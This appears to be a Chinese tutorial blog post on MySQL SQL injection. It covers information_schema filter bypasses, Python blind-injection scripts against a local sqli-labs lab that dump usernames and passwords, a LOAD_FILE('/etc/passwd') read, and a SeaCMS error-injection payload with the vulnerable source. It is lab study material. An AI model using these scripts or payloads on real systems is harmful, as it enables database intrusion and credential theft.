SQL注入(order by,limit),seacms的报错注入以及系统库的绕过

1:如果information_schema被过滤了,该怎么绕过

1.1:介绍一下information_schema这个库

information_schema 是一个非常重要的系统数据库,它在SQL标准中定义,并且被许多关系型数据库管理系统(RDBMS)如MySQL、PostgreSQL等支持。这个库提供了一个访问数据库元数据的方式,即关于数据库本身的数据,包括数据库名、表结构、列属性、访问权限等等。

1.1.1information_schema 的作用
  • 元数据查询:允许用户查询数据库中的元数据,例如获取所有数据库列表、特定数据库下的所有表、表中的所有列等。
  • 权限管理:可以用来检查用户的权限,比如某个用户对特定表是否有读写权限。
  • 优化与调试:开发人员和数据库管理员可以通过查询information_schema来优化查询性能或调试问题,例如查看索引的使用情况、表的大小等。
1.1.2主要表及其用途

information_schema 中包含多个视图,每个视图都提供了不同类型的元数据信息:

  • SCHEMATA:列出当前服务器上的所有数据库(schema)。
  • TABLES:显示当前数据库中所有表的信息,包括表类型(BASE TABLE, VIEW等)。
  • COLUMNS:展示指定表的所有列的详细信息,包括列名、数据类型、是否允许NULL值等。
  • VIEWS:提供有关视图的信息,包括视图的定义。
  • KEY_COLUMN_USAGE:描述外键约束的细节。
  • STATISTICS:提供索引相关信息。
  • USER_PRIVILEGES:显示授予用户的全局权限。
  • ROUTINES:存储过程和函数的相关信息。
1.1.3使用场景示例

获取所有数据库列表

sql 复制代码
SELECT schema_name FROM information_schema.schemata;

查询某数据库下所有表名

sql 复制代码
SELECT table_name FROM information_schema.tables WHERE table_schema = 'your_database_name';

查找表中的所有列及其数据类型

sql 复制代码
SELECT column_name, data_type FROM information_schema.columns WHERE table_schema = 'your_database_name' AND table_name = 'your_table_name';

1.2:使用其他数据库(sys需要5.7版本以上)

使用此数据库就不得不谈到我们的系统数据库了,先来复习一下MySQL数据库的系统库

  • information_schema:主要存储了系统中的一些数据库对象信息,如用户信息,列信息,权限信息,字符集信息,分区信息等(数据字典)
  • performance_schema:主要存储了数据库服务的性能参数
  • MySQL:主要存储了系统的用户权限信息和帮助文档
  • sys:5.7后新增产物:information_schema和performance_schema的结合体,并以视图的形式显示出来的,能够查询出更令人容易理解的数据。
1.2.1:具体实现

首先来看问题,information数据库被过滤了,如果我们输入中存在information就会被判定为SQL注入,所以我们就不使用information这个数据库就可以了

小知识:MySQL 5.7引入了sys数据库,它是一个基于performance_schema和information_schema构建的视图集合,提供了更易于理解的数据。可以使用sys.schema_auto_increment_columns或sys.schema_table_statistics_with_buffer来获取数据库和表的信息。

我们可以先看一下表的数据

表sys.schema_table_statistics_with_buffer

sql 复制代码
DESCRIBE x$schema_table_statistics_with_buffer;
1.2.2:mysql默认存储引擎innoDB携带的表

1,mysql.innodb_table_stats

2,mysql.innodb_index_stats

sql 复制代码
 SELECT table_name FROM mysql.innodb_table_stats WHERE database_name = DATABASE();
1.2.2: 关键字做处理
  • HEX编码:0x696E666F726D6174696F6E5F736368656D61
  • 字符串:concat('informa','tion_scheam')
  • 大小写:INforMation_Scheam
1.2.3:时间盲注
sql 复制代码
SELECT IF(ASCII(SUBSTRING(DATABASE(), 1, 1)) = 97, SLEEP(5), 0);

如果条件为真,数据库将延迟5秒才返回结果,否则立即返回。通过调整不同的字符和条件,你可以逐渐拼凑出表名(可使用python脚本破解)

1.2.4:布尔盲注(python脚本)
sql 复制代码
SELECT CASE WHEN (SELECT SUBSTRING(mysql.innodb_table_stats, 1, 1) FROM your_table LIMIT 1) = 'a' THEN 1/0 ELSE 1 END;
1.2.5:利用联合查询
sql 复制代码
SELECT id, name FROM users WHERE id = 1 UNION SELECT table_name, '' FROM your_table;
1.2.6:文件读取:

某些数据库允许从文件系统中读取文件内容。例如,在MySQL中,你可以使用 LOAD_FILE() 函数读取服务器上的文件。

假设你想读取 /etc/passwd 文件的内容:

sql 复制代码
SELECT LOAD_FILE('/etc/passwd');

需要注意的是,这种方法通常需要有相应的权限,并且很多环境都会禁用这种功能

2、order by(第46关)

这里可以看到用order by排序字符对字段进行了排序

2.1.1:Boolean盲注
python 复制代码
import requests
from bs4 import BeautifulSoup

def get_content(resp):
    soup = BeautifulSoup(resp.text, 'html.parser')
    
    username_elem = soup.select_one('body > div:nth-child(1) > font:nth-child(4) > tr > td:nth-child(2)')
    return username_elem.text.strip() if username_elem else None

def binary_search_injection(base_url, sql_query_template, max_length=100):
    result = []
    for i in range(1, max_length + 1):
        left, right = 32, 127
        while left <= right:
            mid = (left + right) // 2
            url = base_url.format(sql_query=sql_query_template.format(index=i, mid_char=mid))
            try:
                resp = requests.get(url)
                content = get_content(resp)
                if content == 'Dumb':
                    left = mid + 1
                else:
                    right = mid - 1
            except Exception as e:
                print(f"请求 {url} 失败: {e}")
                break
       
        if left > 127 or left < 32:
            break
        char_to_add = chr(left)
        
        if char_to_add.isspace():
            break
        result.append(char_to_add)
        print(''.join(result))  
    return ''.join(result)

if __name__ == '__main__':
    base_url = "http://127.0.0.1/sqliab/Less-46/index.php?sort={sql_query} -- "

  
    database_query = "if(ascii(substr(database(),{index},1))>{mid_char},id,username)"
    table_query = "if(ascii(substr((select group_concat(table_name) from information_schema.tables where table_schema=database()),{index},1))>{mid_char},id,username)"
    column_query = "if(ascii(substr((select group_concat(column_name) from information_schema.columns where table_schema=database() and table_name='users'),{index},1))>{mid_char},id,username)"
    data_query = "if(ascii(substr((select group_concat(username,':',password) from users),{index},1))>{mid_char},id,username)"

    
    # print(binary_search_injection(base_url, database_query))
    # print(binary_search_injection(base_url, table_query))
    print(binary_search_injection(base_url, column_query))
    # print(binary_search_injection(base_url, data_query))

运行结果:

2.1.2:时间盲注
python 复制代码
import requests
import time


def inject_with_time(base_url, sql_query_template, delay=5, max_length=100):
    result = []
    for i in range(1, max_length + 1):
        left, right = 32, 127
        while left <= right:
            mid = (left + right) // 2
            
            query = sql_query_template.format(index=i, mid_char=mid, delay=delay)
            url = base_url.format(sql_query=query)
            start_time = time.time()
            try:
                resp = requests.get(url)
            except Exception as e:
                print(f"请求 {url} 失败: {e}")
                break
            elapsed_time = time.time() - start_time

          
            if elapsed_time > delay:
                left = mid + 1
            else:
                right = mid - 1

           
            time.sleep(0.1)

        
        if left > 127 or left < 32:
            break
        char_to_add = chr(left)
        if char_to_add.isspace():
            break
        result.append(char_to_add)
        print(''.join(result)) 
    return ''.join(result)


if __name__ == '__main__':
    base_url = "http://127.0.0.1/sqliab/Less-46/index.php?sort={sql_query} -- "

   
    database_query = "if(ascii(substr(database(),{index},1))>{mid_char}, sleep({delay}), 0)"
    table_query = "if(ascii(substr((select group_concat(table_name) from information_schema.tables where table_schema=database()),{index},1))>{mid_char}, sleep({delay}), 0)"
    column_query = "if(ascii(substr((select group_concat(column_name) from information_schema.columns where table_schema=database() and table_name='users'),{index},1))>{mid_char}, sleep({delay}), 0)"
    data_query = "if(ascii(substr((select group_concat(username,':',password) from users),{index},1))>{mid_char}, sleep({delay}), 0)"

   
    # print(inject_with_time(base_url, database_query, delay=5))
    # print(inject_with_time(base_url, table_query, delay=5))
    print(inject_with_time(base_url, column_query, delay=5))
    # print(inject_with_time(base_url, data_query, delay=5))

3、seacms海洋系统的报错注入分析

源码:

php 复制代码
<?php
session_start();
require_once("../../include/common.php");
$id = (isset($gid) && is_numeric($gid)) ? $gid : 0;
$page = (isset($page) && is_numeric($page)) ? $page : 1;
$type = (isset($type) && is_numeric($type)) ? $type : 1;
$pCount = 0;
$jsoncachefile = sea_DATA."/cache/review/$type/$id.js";
//缓存第一页的评论
if($page<2)
{
	if(file_exists($jsoncachefile))
	{
		$json=LoadFile($jsoncachefile);
		die($json);
	}
}
$h = ReadData($id,$page);
$rlist = array();
if($page<2)
{
	createTextFile($h,$jsoncachefile);
}
die($h);	


function ReadData($id,$page)
{
	global $type,$pCount,$rlist;
	$ret = array("","",$page,0,10,$type,$id);
	if($id>0)
	{
		$ret[0] = Readmlist($id,$page,$ret[4]);
		$ret[3] = $pCount;
		$x = implode(',',$rlist);
		if(!empty($x))
		{
		$ret[1] = Readrlist($x,1,10000);
		}
	}	
	$readData = FormatJson($ret);
	return $readData;
}

function Readmlist($id,$page,$size)
{
	global $dsql,$type,$pCount,$rlist;
	$ml=array();
	if($id>0)
	{
		$sqlCount = "SELECT count(*) as dd FROM sea_comment WHERE m_type=$type AND v_id=$id ORDER BY id DESC";
		$rs = $dsql ->GetOne($sqlCount);
		$pCount = ceil($rs['dd']/$size);
		$sql = "SELECT id,uid,username,dtime,reply,msg,agree,anti,pic,vote,ischeck FROM sea_comment WHERE m_type=$type AND v_id=$id ORDER BY id DESC limit ".($page-1)*$size.",$size ";
		$dsql->setQuery($sql);
		$dsql->Execute('commentmlist');
		while($row=$dsql->GetArray('commentmlist'))
		{
			$row['reply'].=ReadReplyID($id,$row['reply'],$rlist);
			$ml[]="{\"cmid\":".$row['id'].",\"uid\":".$row['uid'].",\"tmp\":\"\",\"nick\":\"".$row['username']."\",\"face\":\"\",\"star\":\"\",\"anony\":".(empty($row['username'])?1:0).",\"from\":\"".$row['username']."\",\"time\":\"".date("Y/n/j H:i:s",$row['dtime'])."\",\"reply\":\"".$row['reply']."\",\"content\":\"".$row['msg']."\",\"agree\":".$row['agree'].",\"aginst\":".$row['anti'].",\"pic\":\"".$row['pic']."\",\"vote\":\"".$row['vote']."\",\"allow\":\"".(empty($row['anti'])?0:1)."\",\"check\":\"".$row['ischeck']."\"}";
		}
	}
	$readmlist=join($ml,",");
	return $readmlist;
}

function Readrlist($ids,$page,$size)
{
	global $dsql,$type;
	$rl=array();
	$sql = "SELECT id,uid,username,dtime,reply,msg,agree,anti,pic,vote,ischeck FROM sea_comment WHERE m_type=$type AND id in ($ids) ORDER BY id DESC";
	$dsql->setQuery($sql);
	$dsql->Execute('commentrlist');
	while($row=$dsql->GetArray('commentrlist'))
	{
		$rl[]="\"".$row['id']."\":{\"uid\":".$row['uid'].",\"tmp\":\"\",\"nick\":\"".$row['username']."\",\"face\":\"\",\"star\":\"\",\"anony\":".(empty($row['username'])?1:0).",\"from\":\"".$row['username']."\",\"time\":\"".$row['dtime']."\",\"reply\":\"".$row['reply']."\",\"content\":\"".$row['msg']."\",\"agree\":".$row['agree'].",\"aginst\":".$row['anti'].",\"pic\":\"".$row['pic']."\",\"vote\":\"".$row['vote']."\",\"allow\":\"".(empty($row['anti'])?0:1)."\",\"check\":\"".$row['ischeck']."\"}";
	}
	$readrlist=join($rl,",");
	return $readrlist;
}

function ReadReplyID($gid,$cmid,&$rlist)
{
	global $dsql;
	if($cmid>0)
	{
		if(!in_array($cmid,$rlist))$rlist[]=$cmid;
		$row = $dsql->GetOne("SELECT reply FROM sea_comment WHERE id=$cmid limit 0,1");
		if(is_array($row))
		{
			$ReplyID = ",".$row['reply'].ReadReplyID($gid,$row['reply'],$rlist);
		}else
		{
			$ReplyID = "";
		}
	}else
	{
		$ReplyID = "";
	}
	return $ReplyID;
}

function FormatJson($json)
{
	$x = "{\"mlist\":[%0%],\"rlist\":{%1%},\"page\":{\"page\":%2%,\"count\":%3%,\"size\":%4%,\"type\":%5%,\"id\":%6%}}";
	for($i=6;$i>=0;$i--)
	{
		$x=str_replace("%".$i."%",$json[$i],$x);
	}
	$formatJson = jsonescape($x);
	return $formatJson;
}

function jsonescape($txt)
{
	$jsonescape=str_replace(chr(13),"",str_replace(chr(10),"",json_decode(str_replace("%u","\u",json_encode("".$txt)))));
	return $jsonescape;
}

通过源码分析可知,是$rlist出现了注入点

php 复制代码
http://127.0.0.1/upload/comment/api/index.php?gid=1&page=2&rlist[]=@`', extractvalue(1, concat_ws( , \, (select user()))),@`'

输入以上sql注入,出现

相关推荐
蜂蜜黄油呀土豆11 分钟前
MySQL 一行记录是如何存储的?—— 从磁盘文件到 InnoDB 行格式的完整拆解
数据库·mysql·表空间·innodb
光羽隹衡28 分钟前
SQL中表删除与表修改
数据库·sql
l1t32 分钟前
苏旭晖先生写的纯SQL求解Advent of Code 2025第9题 最大矩形面积 第2部分
数据库·sql·算法·计算几何·duckdb·advent of code
是垚不是土43 分钟前
基于Blackbox Exporter的网络服务黑盒监控体系实践
网络·数据库·安全·http·微服务·prometheus
青w韵1 小时前
Claude 高级工具使用解析:从上下文优化到程序化调用的工程实践
数据库·windows
Hello.Reader1 小时前
Flink SQL DROP 语句安全删除 Catalog / Table / DB / View / Function / Model
数据库·sql·flink
luluoluoa1 小时前
科研业绩SCI、EI、会议、CSCD、CSSCI、中文核心、普刊介绍
数据库
liuzhilongDBA1 小时前
论文精读|DBAIOps
数据库·postgresql·dbaiops
木风小助理1 小时前
MySQL 存储过程与函数:核心辨析与应用指南
服务器·数据库·microsoft